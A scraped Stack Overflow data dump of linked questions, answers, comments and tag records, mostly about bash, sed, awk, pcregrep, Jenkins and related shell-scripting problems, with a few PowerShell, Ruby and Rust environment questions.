has text: Although certainly not robust, it may be worth using a CONFIG_SITE. That is, create the file /usr/local/share/config.site and include lines like `USE='-foo -bar'` Any package you subsequently build that uses an autoconf generated configure script will read /usr/local/share/config.site and make the assignments you are asking for. (But it will actually read $CONFIG_SITE or ${prefix}/share/config.site, so you may want to add /usr/share/config.site) As I said, not robust, but perhaps worth exploring
type: QuestionComment

http://stackoverflow.com/comment/134977887
comment on: http://stackoverflow.com/q/76555096
score: 1
has text: In shell, you use `$` to *get* the value of a variable, not to *set* it. Also, if you're assigning a string that contains spaces, quote it. Finally, [shellcheck.net](https://www.shellcheck.net) is your friend (although on some of these, it'll have a hard time figuring out what you intended).
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135043488
type: QuestionComment
type: Comment
has text: @Barmar I read in other questions that sed lacks the non-greedy quantifier `.*?`. From my test above that seems to be the case. Have I misunderstood, or made a mistake?
comment on: http://stackoverflow.com/q/76593228
score: 0

http://stackoverflow.com/comment/135128562
type: QuestionComment
type: Comment
has text: `declare -p PATH` will also work (in bash) to print your current path so you can see what's wrong.
comment on: http://stackoverflow.com/q/76643341
score: 0

http://stackoverflow.com/a/76590858
has body: pattern='^id DiaMatch[(]([[:digit:]]+)[)]' while IFS= read -r line; do $line =~ $pattern || continue echo &quot;${BASH_REMATCH[1]}&quot; done &lt;infile &gt;outfile See this running in an online sandbox at https://ideone.com/ISoFjY
upvote count: 1
answers question: http://stackoverflow.com/q/76590436
downvote count: 0
score: 1
type: Answer

http://stackoverflow.com/comment/135188321
has text: [related](https://stackoverflow.com/questions/2099471/add-a-prefix-string-to-beginning-of-each-line)
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/76679026
type: Comment

http://stackoverflow.com/comment/135283575
type: QuestionComment
type: Comment
has text: The might be an authentication thing. Try running `db.runCommand("connectionStatus")` to see if it lists the user and roles you think you should have
score: 0
comment on: http://stackoverflow.com/q/76710355

http://stackoverflow.com/q/76558797
favorite count: 0
tagged with: linux
type: UnansweredQuestion
downvote count: 0
score: 1
tagged with: bash
upvote count: 1
has comment: http://stackoverflow.com/comment/134984463
has comment: http://stackoverflow.com/comment/134984235
answer count: 2
type: Question
has comment: http://stackoverflow.com/comment/134984335
has answer: http://stackoverflow.com/a/76559005
has title: Can I make the 'read' command tell me how long it took to receive an input?
tagged with: shell
has body: I currently have a script monitoring a reply from a com port. It currently has a 2 second timeout(read -t 2), and if no reply, initiates an action. Currently, there's an issue where its reaching that timeout unexpectedly. I would like to know by how much exactly its missing it. Is there a way to have it say how long it took until it successfully read something? I'm trying to have to avoid a bunch of tests while increasing the timeout value and also see the consistency. Thanks. read -t 2 &lt; /dev/ttyS0; then xxxxx If read fails then action occurs.
has answer: http://stackoverflow.com/a/76558876

http://stackoverflow.com/comment/135147917
score: 0
comment on: http://stackoverflow.com/q/76645511
type: QuestionComment
has text: @Nic3500 thank you for commenting so here My objective is in my reference file I have one column that is gene_id which is also present in the orginal gtf file. Now my simple goal is in m new gtf file I should add new attributes called Entrez_ID, so for that I have created the reference file which should be used to look for respective gene_id in the gtf file and when there is a match then it should add Entrez_ID tag and its value to the updated gtf file
type: Comment

http://stackoverflow.com/comment/135118899
score: 0
type: QuestionComment
type: Comment
has text: Why the `{}` in the following line: `git stash apply stash@{"${num}"} "$@";`.
comment on: http://stackoverflow.com/q/76638009

http://stackoverflow.com/comment/135070194
score: 0
comment on: http://stackoverflow.com/a/76608578
type: Comment
has text: Good answer. As for the comment -- AFAIK any XML libraries are an extra item to install for perl, but there are several of them built in and included with the interpreter in Python. Has the first part of the prior sentence changed / become untrue in the years since I had any clue about perl?
type: AnswerComment

http://stackoverflow.com/a/76592536
score: 3
upvote count: 3
has body: The stat command is what you're after: mtime=$(stat -c '%Y' filename) stat options vary by OS, so make sure to read the man page. find is also helpful find /path -name '*.duplicated999*' -printf '%T@\t%p\n'
type: Answer
downvote count: 0
answers question: http://stackoverflow.com/q/76591635

http://stackoverflow.com/a/76688081
downvote count: 0
answers question: http://stackoverflow.com/q/76688062
score: 1
upvote count: 1
type: Answer
accepted answer of: http://stackoverflow.com/q/76688062
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/135203668
has body: echo 'o!' outputs three characters: o, ! and a Line Feed. $ echo 'o!' | od -t c 0000000 o ! \n 0000003 printf 'o!' only outputs the first two. $ printf 'o!' | od -t c 0000000 o ! 0000002 Alternatively, you could preserve the Line Feed using tr -c 'aeiou\n' '*' (at least on my system).

http://stackoverflow.com/comment/135011624
type: QuestionComment
type: Comment
score: 0
has text: Your `example.com/b` links aren't identical, they assign different values to the parameters. Typo?
comment on: http://stackoverflow.com/q/76574631

http://stackoverflow.com/comment/135039844
score: 0
type: QuestionComment
type: Comment
has text: @CharlesDuffy do you know if that is common? Feels like having to caveat that bash may not support array variables
comment on: http://stackoverflow.com/q/76590436

http://stackoverflow.com/q/76673561
score: -1
type: Question
tagged with: shell
tagged with: makefile
downvote count: 1
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135179582
tagged with: debian
upvote count: 0
has title: Excluding program feature while compiling with make command
has comment: http://stackoverflow.com/comment/135179547
answer count: 1
tagged with: build
has answer: http://stackoverflow.com/a/76680195
favorite count: 0
has body: I'm trying to use Gentoo Linux's USE flag feature on a Debian based system. After I obtained the source code with apt-get source, I want to give an environment variable that excludes some unneeded features on the compiled program like how you define in Gentoo Linux USE="-foo -bar" for example. Is it possible for every package (because I'm planning to automatize something, not for just one package) that I can download through apt-get source, or is this a Gentoo specific feature?

http://stackoverflow.com/q/76613778
has comment: http://stackoverflow.com/comment/135078616
type: UnansweredQuestion
has title: BASH Shell not iterating properly
has comment: http://stackoverflow.com/comment/135078648
has comment: http://stackoverflow.com/comment/135078587
answer count: 0
tagged with: shell
score: 1
upvote count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/135078792
downvote count: 0
type: Question
has body: Here's the code that I have so far. The expected function is for it to print the index of the id and the id itself. Ex. 1 a1.2.6 Here's a link to the ids_alpha.txt file: text function printAlpha() { declare -a alpha=$(cat ./bin/data/ids_alpha.txt | awk -F &quot;:&quot; '{print $2}') length=${#alpha[@]} for (( i = 0; i &lt; length; i++)); do echo -ne &quot;${color_normal} $i ${color_off}&quot; echo -e &quot;${color_normal} ${alpha[*]} ${color_off}&quot; done } The output looks like this: https://www.icloud.com/sharedalbum/#B0VJtdOXmRaaKPF I have tried to iterate over the array using many different techniques. However, nothing seems to be working. Any suggestions?

http://stackoverflow.com/a/76659107
downvote count: 0
has body: Use the -s flag: $ curl -s wttr.in/hak | grep Location Location: Республика Хакасия, Сибирский федеральный округ, Россия [53.4399379,90.0664303]
type: AcceptedAnswer
upvote count: 1
answers question: http://stackoverflow.com/q/76659086
accepted answer of: http://stackoverflow.com/q/76659086
score: 1
type: Answer

debian
tag name: debian
tags question: http://stackoverflow.com/q/76673561
type: Tag
tags question: http://stackoverflow.com/q/78444497
tags question: http://stackoverflow.com/q/78781802
tags question: http://stackoverflow.com/q/78943372
tags question: http://stackoverflow.com/q/79277246
tags question: http://stackoverflow.com/q/79511800

http://stackoverflow.com/comment/134966438
score: 0
comment on: http://stackoverflow.com/a/76545097
has text: I apologise. I mistyped - it does work.
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/135052447
type: QuestionComment
type: Comment
score: 0
has text: @GordonDavisson yes, there's extra `.conf` in the file name in the question, in which the real file doesn't contain two `.conf` name. I edit that. Thanks
comment on: http://stackoverflow.com/q/76597912

http://stackoverflow.com/q/76602195
answer count: 0
tagged with: jenkins
tagged with: linux
has comment: http://stackoverflow.com/comment/135059053
tagged with: git
favorite count: 0
has comment: http://stackoverflow.com/comment/135059219
score: 0
type: Question
tagged with: shell
has body: I am trying to add stage in Linux Jenkins file. And trying to run git command from it but getting error in command: def tag_description = sh(script: '@git describe --tags --exact-match HEAD', returnStdout: true).trim() Error: @git: not found Appreciate your help Thanks
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/36547680
upvote count: 1
downvote count: 1
has title: "@git: not found" in Linux stage of Jenkins file
has comment: http://stackoverflow.com/comment/135062891
linked to: http://stackoverflow.com/q/44330148

http://stackoverflow.com/q/76579841
favorite count: 0
downvote count: 1
has answer: http://stackoverflow.com/a/76583540
has answer: http://stackoverflow.com/a/76581531
score: 0
type: Question
tagged with: macos
tagged with: shell
has title: Package standalone RubyGems for a MacOS app
tagged with: ruby
tagged with: installation
type: UnansweredQuestion
upvote count: 1
answer count: 2
has comment: http://stackoverflow.com/comment/135070598
has body: To have the best user experience for my users and to avoid them to install all required packages, I need to package Ruby, RubyGems and some gems packages (pod, xcodeproj) in a MacOS app. I will then use pod and xcodeproj through Command Line inside my MacOS app. When I try to build ruby from source by specifying a custom installation folder ./configure ---prefix=${FOLDER}, there are static references to this installation folder in some executables that comes with ruby (including gem). I tried to change shebang inside those executables by #!/usr/bin/env ruby and set my PATH to reference my freshly installed ruby but then I have this error that impact all my configuration: `RubyGems' were not loaded. `error_highlight' was not loaded. `did_you_mean' was not loaded. `syntax_suggest' was not loaded. Do you have any ideas if it is possible to build ruby in full standalone mode and if yes some clues about how to do it ?

http://stackoverflow.com/comment/135059045
has text: Convert the date into _seconds after epoch_. This gives you integers. Use integer comparision to compare them.
type: Comment
comment on: http://stackoverflow.com/q/76601045
score: 0
type: QuestionComment

http://stackoverflow.com/q/76622373
tagged with: shell
answer count: 0
type: UnansweredQuestion
upvote count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/135093412
has body: I'm trying to grep for suppressions containing a certain library in a Valgrind log which is a couple of million lines long with PCREGrep. I can get each suppression individually using pcregrep -M &quot;{\n([^}]+\n)+}&quot; which produces individual entries like this: { &lt;insert_a_suppression_name_here&gt; Memcheck:ReallocZero fun:realloc obj:/usr/lib/libnvidia-glcore.so.535.54.03 obj:/usr/lib/libGLX_nvidia.so.535.54.03 obj:/usr/lib/libGLX_nvidia.so.535.54.03 obj:/usr/lib/libGLX_nvidia.so.535.54.03 } What I wanted to do was find all entries which reference nvidia, so I tried {\n([^}]+\n)+.+nvidia.+\n([^}]+\n)+}. This causes PCREGrep to produce output which looks like this: pcregrep: pcre_exec() gave error -8 while matching text that starts: { &lt;insert_a_suppression_name_here&gt; Memcheck:Value8 obj:/usr/lib/libnvidia-glcore.so.535.54.03 obj:/usr/lib/libnvidia-glcore.so.535.54.03 obj:/usr/lib/libnvidia-glcore.so.535.54.03 ob as well as the terminating message pcregrep: Too many errors - abandoned. pcregrep: Error -8, -21 or -27 means that a resource limit was exceeded. pcregrep: Check your regex for nested unlimited loops. How can I format this regex in a way that doesn't cause this issue? Or if the issue is inherently present in my scenario, how can I increase whatever limit is being hit?
downvote count: 0
score: 1
has title: How to optimize a regex with PCREGrep to avoid hitting resource limits
has comment: http://stackoverflow.com/comment/135093255
has comment: http://stackoverflow.com/comment/135093359
tagged with: pcregrep
type: Question

http://stackoverflow.com/comment/135093252
type: Comment
has text: Weird that it finds `CV_DATABASE_URL` but not `ALT_DATABASE_URL`. Were the `env|grep` and the `cargo run` command executed in the same terminal session?
comment on: http://stackoverflow.com/q/76622495
score: 0
type: QuestionComment

http://stackoverflow.com/q/76622495
linked to: http://stackoverflow.com/q/3341372
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/135095865
has comment: http://stackoverflow.com/comment/135095743
has answer: http://stackoverflow.com/a/76626502
has comment: http://stackoverflow.com/comment/135095897
has comment: http://stackoverflow.com/comment/135095826
has comment: http://stackoverflow.com/comment/135093362
accepted answer: http://stackoverflow.com/a/76626502
has comment: http://stackoverflow.com/comment/135095268
answer count: 2
type: Question
has body: I added a new environment variable into ~/.zshrc in macOS 13.2 few minites ago, this is the content about the variable in .zshrc: export ALT_DATABASE_URL=postgres://postgres:123456@reddwarf-postgresql.reddwarf-storage.svc.cluster.local:5432/alt then run the source command to make it works: source ~/.zshrc check the variable: > env|grep "DATABASE_URL" DATABASE_URL=postgres://postgres:123456@127.0.0.1:5432/dolphin CV_DATABASE_URL=postgres://postgres:123456@reddwarf-postgresql.reddwarf-storage.svc.cluster.local:5432/cv ALT_DATABASE_URL=postgres://postgres:123456@reddwarf-postgresql.reddwarf-storage.svc.cluster.local:5432/alt when I using this rust code to read the environment variable in visual studio code with lldb plugin: fn main() { let cv = std::env::var("CV_DATABASE_URL").expect("get cv url error"); print!("cv:{}", cv); let alt = std::env::var("ALT_DATABASE_URL").expect("get alt url error"); print!("alt:{}", alt); } the newly add variable read failed: thread 'main' panicked at 'get alt url error: NotPresent', src/main.rs:4:49 note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace cv:postgres://postgres:123456@reddwarf-postgresql.reddwarf-storage.svc.cluster.local:5432/cv% am I missing something? what should I do to fixed this issue? I have do some investgate seems the visual studio code lldb plugin could not read the os environment variable.
tagged with: shell
has comment: http://stackoverflow.com/comment/135094591
has comment: http://stackoverflow.com/comment/135095940
has comment: http://stackoverflow.com/comment/135095891
has comment: http://stackoverflow.com/comment/135095946
has answer: http://stackoverflow.com/a/76622523
tagged with: rust
has comment: http://stackoverflow.com/comment/135095880
score: 0
has comment: http://stackoverflow.com/comment/135093252
possible better answer: http://stackoverflow.com/a/76622523
has comment: http://stackoverflow.com/comment/135093488
has title: why the new environment variable did not see by rust
has comment: http://stackoverflow.com/comment/135095923
has comment: http://stackoverflow.com/comment/135103576

http://stackoverflow.com/comment/135209814
score: 0
comment on: http://stackoverflow.com/a/76683785
type: Comment
type: AnswerComment
has text: I see, I created prog.awk in vim and tried running it but nothing happened, it just keeps running and doesn't give any output. I had to kill the process, it wasn't returning anything. I don't know if the loop is maybe infinite for some reason?

http://stackoverflow.com/q/76549287
has answer: http://stackoverflow.com/a/76552349
tagged with: linux
tagged with: netcat
tagged with: bash
has comment: http://stackoverflow.com/comment/134968938
has title: Is there a way to send prompts to a netcat server Dynamically by scripting
has comment: http://stackoverflow.com/comment/134968820
has comment: http://stackoverflow.com/comment/134969350
score: 0
type: Question
tagged with: shell
has body: I am given a problem by my professor to design a script for netcat prompts.. I need to calculate the sum of given two numbers and pass the sum as prompt for 1000 times. I developed a script using awk to get the requried numbers but don't know how to pass or echo that to nc server. Welcome to the Ultimate Math Contest!! Solve 1000 quick math problems to complete You have 10 second for each problem. What is the sum of 89187 + 26971: You have 5 seconds to type in your stuff... Exit... 116158 What i need is instead of typing the sum after the connection is closed it needs to dynamically type the sum for 1000 times. instead of exiting and then echoing the sum. CODE #!/bin/bash extract_numbers(){ numbers=($(echo "$output" | awk 'NR==4 {gsub(/[^0-9]+/, " "); var1=$1; var2=$2; print var1, var2}')) number1=${numbers[0]} number2=${numbers[1]} sum=$((number1 + number2)) echo $sum } output=$(echo "" | nc 65.2.97.115 8003) echo "$output" result=$(extract_numbers "$output") echo $result I tried echoing the sum and also wrapped it in a function but it doesn't seem to work
type: UnansweredQuestion
answer count: 1

alert
tags question: http://stackoverflow.com/q/76576781
tag name: alert
type: Tag
tags question: http://stackoverflow.com/q/76751024

http://stackoverflow.com/q/76624018
downvote count: 0
tagged with: essbase
favorite count: 0
has answer: http://stackoverflow.com/a/76636744
has comment: http://stackoverflow.com/comment/135105988
has comment: http://stackoverflow.com/comment/135096031
has title: Shell script won't run correctly when called in a while loop
type: Question
tagged with: command-line-interface
tagged with: shell
tagged with: linux
tagged with: export
type: UnansweredQuestion
score: 1
upvote count: 1
answer count: 1
has body: the following shell script reads a file but returns an error when executing esscs.sh: Error: Could not find or load main class a cd /u01/oracle/essbase/products/Essbase/EssbaseServer/bin/cli/ while read application; do if | $application = "#"* then continue else ./esscs.sh login -user usr -password xxx -essbaseurl https://bla/essbase ./esscs.sh lcmexport -application $application fi done < /tmp/exportLCM_applications.txt The following shell script works just fine: cd /u01/oracle/essbase/products/Essbase/EssbaseServer/bin/cli/ ./esscs.sh login -user usr -password xxx -essbaseurl https://bla/essbase ./esscs.sh lcmexport -application hardcodedapp This is the content of esscs.sh which an Oracle command line utility for Essbase (cli): #!/bin/sh export ERR_MSG_JAVA_REQUIRED="Install JDK8 and set JAVA_HOME variable to JDK8 installed location" if [ -z "$JAVA_HOME" ] then echo echo $ERR_MSG_JAVA_REQUIRED echo exit 1 fi export JAVA_VERSION=$("$JAVA_HOME/bin/java" -version 2>&1 | awk -F '"' '/version/ {print $2}') if [[ "$JAVA_VERSION" < "1.8" ]] then echo echo You are using older java version $JAVA_VERSION echo $ERR_MSG_JAVA_REQUIRED echo exit 1 fi export SCRIPT_DIRECTORY=$(dirname "$(readlink -f "$0")") cd "$SCRIPT_DIRECTORY" export CLI_HOME=. export REST_CLI_HOME=$CLI_HOME/lib export CLASSPATH=.:$REST_CLI_HOME/ess_rest_cli.jar:$REST_CLI_HOME/ess_es_server.jar:$REST_CLI_HOME/ess_japi.jar:$REST_CLI_HOME/ess_svp.jar:$REST_CLI_HOME/commons-cli.jar:$REST_CLI_HOME/commons-io.jar:$REST_CLI_HOME/jersey-client.jar:$REST_CLI_HOME/javax.ws.rs-api.jar:$REST_CLI_HOME/jersey-common.jar:$REST_CLI_HOME/hk2-utils.jar:$REST_CLI_HOME/hk2-apijar:$REST_CLI_HOME/javax.inject.jar:$REST_CLI_HOME/hk2-locator.jar:$REST_CLI_HOME/hk2-api.jar:$REST_CLI_HOME/javax-annotation-javax-annotation-api.jar:$REST_CLI_HOME/jackson-annotations.jar:$REST_CLI_HOME/jackson-core.jar:$REST_CLI_HOME/jackson-databind.jar:$REST_CLI_HOME/jackson-mapper-asl-1.9.2.jar:$REST_CLI_HOME/ojdl.jar:$REST_C…

grep
tags question: http://stackoverflow.com/q/76593228
tag name: grep
tags question: http://stackoverflow.com/q/76544889
tags question: http://stackoverflow.com/q/76590128
tags question: http://stackoverflow.com/q/76623990
tags question: http://stackoverflow.com/q/76679026
type: Tag
tags question: http://stackoverflow.com/q/76781400
tags question: http://stackoverflow.com/q/76845280
tags question: http://stackoverflow.com/q/76810947
tags question: http://stackoverflow.com/q/76880608
tags question: http://stackoverflow.com/q/76927538
tags question: http://stackoverflow.com/q/77041956
tags question: http://stackoverflow.com/q/76986443
tags question: http://stackoverflow.com/q/76968047
tags question: http://stackoverflow.com/q/76944879
tags question: http://stackoverflow.com/q/77129396
tags question: http://stackoverflow.com/q/77166714
tags question: http://stackoverflow.com/q/77204012
tags question: http://stackoverflow.com/q/77319800
tags question: http://stackoverflow.com/q/77341329
tags question: http://stackoverflow.com/q/77362481
tags question: http://stackoverflow.com/q/77575885
tags question: http://stackoverflow.com/q/77477286
tags question: http://stackoverflow.com/q/77486768
tags question: http://stackoverflow.com/q/77419400
tags question: http://stackoverflow.com/q/77674228
tags question: http://stackoverflow.com/q/77627421
tags question: http://stackoverflow.com/q/78099514
tags question: http://stackoverflow.com/q/78066700
tags question: http://stackoverflow.com/q/77998953
tags question: http://stackoverflow.com/q/78083485
tags question: http://stackoverflow.com/q/78006871
tags question: http://stackoverflow.com/q/78295031
tags question: http://stackoverflow.com/q/78233420
tags question: http://stackoverflow.com/q/78278018
tags question: http://stackoverflow.com/q/78433985
tags question: http://stackoverflow.com/q/78429371
tags question: http://stackoverflow.com/q/78451797
tags question: http://stackoverflow.com/q/78582237
tags question: http://stackoverflow.com/q/78657433
tags question: http://stackoverflow.com/q/78788854
tags question: http://stackoverflow.com/q/78887315
tags question: http://stackoverflow.com/q/79041146
tags question: http://stackoverflow.com/q/78977210
tags question: http://stackoverflow.com/q/78945398
tags question: http://stackoverflow.com/q/79123895
tags question: http://stackoverflow.com/q/79102410
tags question: http://stackoverflow.com/q/79103952
tags question: http://stackoverflow.com/q/79091907
tags question: http://stackoverflow.com/q/79522023

http://stackoverflow.com/q/76579350
score: 0
type: Question
tagged with: shell
has title: IF/ELIF/ELSE Statement Korn Shell
has answer: http://stackoverflow.com/a/76579913
tagged with: ksh
answer count: 2
has body: Ive had experiences running these statements in the past but not loads. Im trying to run one that will look in the directory and if the file is a .txt then send it to testdir_2 else if it is a .csv file then send to testdir_3. Else if it is anything else echo "error". What seems to be happening is when the code doesn't find the .txt file it will error out instead of continuing with the statement. Im also getting a "else unexpected" message. I may just be missing something obvious but I cannot seem to work out what is wrong. Thank you in advance. #!/bin/ksh #set -x # FILEDIR=/export/home/jaqst/training/testdir_1 DIR1=/export/home/jaqst/training/testdir_2 DIR2=/export/home/jaqst/training/testdir_3 TXT=*.txt CSV=*.csv # # Main processing starts here # echo `date +%d\ %b\ %H:%M` "Job started" # # Go to directory # cd ${FILEDIR} if $? -ne 0 then echo `date +%d\ %b\ %H:%M` "Failed to cd into ${FILEDIR}" exit 9 fi # # Check files and move to appropriate directories # if [ ! -e = ${TXT} ]; then mv ${TXT} /export/home/jaqst/training/testdir_2 elif [ ! -e = ${CSV} ]; then mv ${CSV} /export/home/jaqst/training/testdir_3 else echo `date +%d\ %b\ %H:%M` "Job failed, no matching file found" exit 9 fi # echo `date +%d\ %b\ %H:%M` "Job completed" exit 0
possible better answer: http://stackoverflow.com/a/76579913
has comment: http://stackoverflow.com/comment/135023388
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/76581167
tagged with: if-statement
has comment: http://stackoverflow.com/comment/135022882
has answer: http://stackoverflow.com/a/76581167

http://stackoverflow.com/a/76638961
type: AcceptedAnswer
has body: I still don't understand what the root cause is, but I've found a workaround -- everything works fine if I launch RStudio from a batch script rather than a shortcut. start "" "C:\Program Files\RStudio\rstudio.exe" Since this works, I assumed there must be some difference in the environment when launched from a command prompt / batch rather than the shortcut. But editing ".Renviron" to make all env variables match what I see when launching from batch didn't help. So I still don't really know what the problem is or why this solution works.
type: Answer
accepted answer of: http://stackoverflow.com/q/76631928
score: 0
answers question: http://stackoverflow.com/q/76631928

http://stackoverflow.com/q/76674976
has answer: http://stackoverflow.com/a/76675181
has body: I have an bash script with an array like that.. #!/bin/bash declare -A data declare -A dataindex data[food0]='pasta' data[food1]='orange' data[drink0]='water' data[drink1]='juice' for ((i=0;i&lt;=${#data[@]};i++)) do $dataindex[$i]=${!data} done echo dataindex I would like to increment just the index of array data in to another array. That's a simplified way to represent one part of my project, i'm developing a method to filter values based on array indexing, i develop some logic methods to do that... if someone knows some thing about that i will be greatfull. Expected output food0 food1 drink0 drink1
type: Question
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135182215
answer count: 3
tagged with: arrays
tagged with: shell
downvote count: 2
tagged with: bash
has title: Transfer the array indexing, would like to increment just the index of array data in to another array
tagged with: arraylist
has comment: http://stackoverflow.com/comment/135184104
favorite count: 0
upvote count: 0
score: -2
has answer: http://stackoverflow.com/a/76679835
has answer: http://stackoverflow.com/a/76674977

thumbnails
type: Tag
tag name: thumbnails
tags question: http://stackoverflow.com/q/76690713

http://stackoverflow.com/a/76577017
type: Answer
accepted answer of: http://stackoverflow.com/q/76576781
score: 0
has body: When your scrip runs exactly every 5 minutes (perhaps using crontab), you can use find /var/log/message -mmin -5 -exec grep suppress {} \; | tail -1 | mail-s 'suppress' test@hotmail.com EDIT: How to skip processing when the pipe is empty? Don't use the pipeline: msg=$(find /var/log/message -mmin -5 -exec grep suppress {} \; | tail -1) test -n "$msg" && echo "$msg" | mail-s 'suppress' test@hotmail.com EDIT 2: Please note, that you will get an old suppress line, when the log gets new lines without suppress in it. You will need more scripting to solve this (remember linenumber where the match was found or nr of matches ad compare) and also find a solution when the /var/log/message file is rotated. Perhaps you should do something like msg=$(diff /var/log/message /tmp/oldmessages | grep suppress | tail -1) test -n "$msg" && cp /var/log/message /tmp/oldmessages && echo "$msg" | mail-s 'suppress' test@hotmail.com
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/135028102
has comment: http://stackoverflow.com/comment/135029528
answers question: http://stackoverflow.com/q/76576781

http://stackoverflow.com/comment/134964312
has text: I'm don't want to execute mailing.sh first. the mailing.sh just read the checking_file.sh echo result. its possible here?
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/76546737
type: Comment

http://stackoverflow.com/a/76648115
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/135135578
upvote count: 2
has comment: http://stackoverflow.com/comment/135135495
accepted answer of: http://stackoverflow.com/q/76648067
has body: Is this what you are trying to do? #!/bin/bash (echo "mr. big"; cat) | python3 test.py In your script the echo "mr. big" | python3 name.py, the input is piped directly from the echo command to your python script. This means that the echo closes the input after the first value you provided and it terminates your script. And here using (echo "mr. big"; cat) | python3 name.py subshell that first echoes the initial value "mr. big" and then uses cat to read more user inputs from your program basically. Essentially you are piping the output of the subshell to your Python script which keeps the input open for continued interaction.
answers question: http://stackoverflow.com/q/76648067
type: AcceptedAnswer
score: 2

http://stackoverflow.com/comment/135170775
score: 0
type: QuestionComment
has text: @user3783243 locations are not changed, never. But what do you mean with permissions? which permissions do you suggest to check? I thought alot and GUESS I hade some background updates in my system and that made some changes (that can be some permissions).
type: Comment
comment on: http://stackoverflow.com/q/76664368

http://stackoverflow.com/comment/135054535
type: Comment
has text: I can understand removing linux-kernel, but linux is the general tag, covering shell script, and programming / code. Linux-kernel removed. Thanks for notifying. @Cyrus
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/76599721

http://stackoverflow.com/q/76656059
score: 1
upvote count: 1
answer count: 1
favorite count: 0
type: AnsweredQuestion
has title: Extract IP address from .txt file using Powershell and save it into a new text file
downvote count: 0
type: Question
tagged with: powershell
accepted answer: http://stackoverflow.com/a/76656211
has answer: http://stackoverflow.com/a/76656211
has body: I have a text file and it's contains an IP address what I want to extract and save it to a new text file. The text file that contains the IP address it's an output file from an application called ngrok. That's how the file looks like: t=2023-07-05T16:17:15+0300 lvl=info msg="no configuration paths supplied" t=2023-07-05T16:17:15+0300 lvl=info msg="using configuration at default config path" path=C:\\Users\\***\\AppData\\Local/ngrok/ngrok.yml t=2023-07-05T16:17:15+0300 lvl=info msg="open config file" path=C:\\Users\\***\\AppData\\Local\\ngrok\\ngrok.yml err=nil t=2023-07-05T16:17:15+0300 lvl=info msg="starting web service" obj=web addr=127.0.0.1:4040 allow_hosts=[] t=2023-07-05T16:17:15+0300 lvl=info msg="tunnel session started" obj=tunnels.session t=2023-07-05T16:17:15+0300 lvl=info msg="client session established" obj=csess t=2023-07-05T16:17:15+0300 lvl=info msg="started tunnel" obj=tunnels name=command_line addr=//localhost:8865 url=tcp://4.tcp.eu.ngrok.io:10355 t=2023-07-05T16:17:16+0300 lvl=info msg="update available" obj=updater The address that I want to extract is 4.tcp.eu.ngrok.io:10355 Recently I created this powershell script: $List_IP = Get-ChildItem -Path "C:\ngrok_log.txt" foreach ($IP in $List_IP) { $pattern = '(\d.tcp.eu.ngrok.io\W\d\d\d\d\d)' $sel = select-string -list $IP -pattern $pattern | Select-Object -ExpandProperty Line If ($Sel -eq $null) { write-host "ERROR - $IP does not contain $pattern" } Else { write-host "SUCCESS - $pattern `n$sel" } Write-host "end" $Folder = "C:\" $SaveFile = $Folder + "final_ip.txt" $sel | Out-File $SaveFile } It works, but it's saving the whole line that contains the IP address instead just the IP address: t=2023-07-05T16:17:15+0300 lvl=info msg="started tunnel" obj=tunnels name=command_line addr=//localhost:8865 url=tcp://4.tcp.eu.ngrok.io:10355 I don't really understand the "pattern" part of this script, everytime I restart the ngrok I get new random IP address like this: (number between 1-99).tcp.(ap, au, eu, in…
has comment: http://stackoverflow.com/comment/135149815
tagged with: windows
tagged with: shell

http://stackoverflow.com/q/76669265
has answer: http://stackoverflow.com/a/76669672
tagged with: awk
tagged with: sed
accepted answer: http://stackoverflow.com/a/76669672
type: Question
linked to: http://stackoverflow.com/q/19075671
possible better answer: http://stackoverflow.com/a/76671982
answer count: 3
has title: Cut awk field value
score: 0
has answer: http://stackoverflow.com/a/76676077
tagged with: shell
has answer: http://stackoverflow.com/a/76671982
tagged with: linux
has body: I have this "answer section" from a dig call: www.google.com 300 IN A \<ip_address\> I want to extract the sub-domain www out of the www.google.com to save in a variable. I have tried to use sed to filter out the sub-domain name, then replace field one (i.e. $1), after passing to awk, with $host_name, like so: host_name=$(echo get_dig "$@" | sed 's/..*//; s/ .*//') ... get_dig "$@" | awk '{ $1 = $host_name; printf("The subdomain %s is a %s record and points to %s\\n", $1, $4, $5) }' N.B: get_dig is a shell function I created to run dig and extract the "answer section". I have tested and the sed part cuts as I expect it to and gives the correct result (i.e. www), but when I try to replace $1 with $host_name, it seems to alter the behaviour and returns the whole dig "answer section" as the hostname in the printf string. Also, I have $hostname declared globally. PS: I have to use awk, but it's possible that I might have tunnel-visioned into a particular process, with sed
tagged with: system-administration
type: AnsweredQuestion

http://stackoverflow.com/a/76702782
score: 0
type: Answer
has comment: http://stackoverflow.com/comment/135232230
answers question: http://stackoverflow.com/q/76702391
has body: What you are looking for is sys.argv from the sys library. See more at : https://docs.python.org/fr/3/library/sys.html#sys.argv Basically, in main.py if you call the function python sub1.py arg1 arg2, in sub1.py you can get these arguments with : from sys import argv arg1 = sys.argv[1] arg2 = sys.argv[2] Be careful, sys.argv[0] is not your first argument !
has comment: http://stackoverflow.com/comment/135230076

http://stackoverflow.com/q/76634264
tagged with: jenkins-pipeline
type: Question
tagged with: shell
type: UnansweredQuestion
has body: HI i need help to write the jenkins pipeline if "Compiled with the following type errors" this sentence occure . pipeline should abort i tried if (sh(npm run build:dev).exitCode != 0) then { echo 'npm build failed with compilation error' } else { echo 'npm build succeeded' } fi but i am not sure is it work or not showing syntex error "{" unexpected (expecting "then")
score: 0
has title: jenkins pipeline should fail after "Compiled with the following type errors" this sentence occure
answer count: 1
has answer: http://stackoverflow.com/a/76635833

http://stackoverflow.com/comment/135112370
type: QuestionComment
has text: Thanks again. But what about the YY-MM-DD-HH-MIN? Data is actually in this format. So e.g. for the date `17-12-31-23`, it should be considered as `18-01-01-02-00`
comment on: http://stackoverflow.com/q/76633671
type: Comment
score: 0

http://stackoverflow.com/comment/135095897
